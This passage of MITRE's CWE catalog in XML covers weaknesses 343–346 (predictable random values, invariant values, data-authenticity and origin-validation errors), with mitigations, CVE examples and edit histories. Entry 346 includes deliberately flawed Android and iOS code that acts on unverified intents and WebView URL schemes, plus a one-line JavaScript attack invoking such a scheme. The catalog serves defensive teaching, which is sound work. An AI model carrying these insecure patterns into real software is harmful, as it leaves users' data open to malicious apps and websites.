            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="343" Name="Predictable Value Range from Previous Values" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.</Description>
         <Extended_Description>The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="340" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Increase the entropy used to seed a PRNG.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-50">
               <Phase>Implementation</Phase>
               <Description>Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Predictable Value Range from Previous Values</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267"/>
            <Reference External_Reference_ID="REF-320"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="344" Name="Use of Invariant Value in Dynamically Changing Context" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0980</Reference>
               <Description>Component for web browser writes an error message to a known location, which can then be referenced by attackers to process HTML/script in a less restrictive context</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0980</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Static Value in Unpredictable Context</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267"/>
         </References>
         <Notes>
            <Note Type="Relationship">overlaps default configuration.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Static Value in Unpredictable Context</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="345" Name="Insufficient Verification of Data Authenticity" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-153">
               <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
               <Body_Text>Multiple vendors did not sign firmware images.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-30260</Reference>
               <Description>Distributed Control System (DCS) does not sign firmware images and only relies on insecure checksums for integrity checks</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30260</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30267</Reference>
               <Description>Distributed Control System (DCS) does not sign firmware images and only relies on insecure checksums for integrity checks</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30267</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30272</Reference>
               <Description>Remote Terminal Unit (RTU) does not use signatures for firmware images and relies on insecure checksums</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30272</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insufficient Verification of Data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>12</Entry_ID>
               <Entry_Name>Content Spoofing</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="111"/>
            <Related_Attack_Pattern CAPEC_ID="141"/>
            <Related_Attack_Pattern CAPEC_ID="142"/>
            <Related_Attack_Pattern CAPEC_ID="148"/>
            <Related_Attack_Pattern CAPEC_ID="218"/>
            <Related_Attack_Pattern CAPEC_ID="384"/>
            <Related_Attack_Pattern CAPEC_ID="385"/>
            <Related_Attack_Pattern CAPEC_ID="386"/>
            <Related_Attack_Pattern CAPEC_ID="387"/>
            <Related_Attack_Pattern CAPEC_ID="388"/>
            <Related_Attack_Pattern CAPEC_ID="665"/>
            <Related_Attack_Pattern CAPEC_ID="701"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 15: Not Updating Easily.&#34; Page 231"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
         <Notes>
            <Note Type="Relationship">"origin validation" could fall under this.</Note>
            <Note Type="Maintenance">The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Insufficient Verification of Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="346" Name="Origin Validation Error" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not properly verify that the source of data or communication is valid.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Varies by Context</Impact>
               <Note>An attacker can access any functionality that is inadvertently accessible to the source.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-112">
               <Intro_Text>This Android application will remove a user account when it receives an intent to do so:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>IntentFilter filter = new IntentFilter("com.example.RemoveUser");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);<xhtml:br/>
                     <xhtml:br/>public class DeleteReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">int userID = intent.getIntExtra("userID");<xhtml:br/>destroyUserData(userID);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-109">
               <Intro_Text>These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:i>// Android</xhtml:i>
                     <xhtml:br/>@Override<xhtml:br/>public boolean shouldOverrideUrlLoading(WebView view, String url){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){<xhtml:div style="margin-left:1em;">if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){<xhtml:div style="margin-left:1em;">writeDataToView(view, UserData);<xhtml:br/>return false;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">return true;</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Objective-C">
                  <xhtml:div>
                     <xhtml:i>// iOS</xhtml:i>
                     <xhtml:br/>-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>NSURL *URL = [exRequest URL];<xhtml:br/>if ([[URL scheme] isEqualToString:@"exampleScheme"])<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>NSString *functionString = [URL resourceSpecifier];<xhtml:br/>if ([functionString hasPrefix:@"specialFunction"])<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// Make data available back in webview.</xhtml:i>
                                       <xhtml:br/>UIWebView *webView = [self writeDataToView:[URL query]];</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>return NO;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return YES;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>A call into native code can then be initiated by passing parameters within the URL:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>window.location = examplescheme://method?parameter=value</xhtml:div>
               </Example_Code>
               <Body_Text>Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-1218</Reference>
               <Description>DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1218</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0877</Reference>
               <Description>DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0877</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1452</Reference>
               <Description>DNS server caches glue records received from non-delegated name servers</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1452</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2188</Reference>
               <Description>user ID obtained from untrusted source (URL)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2188</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0174</Reference>
               <Description>LDAP service does not verify if a particular attribute was set by the LDAP server</Description>
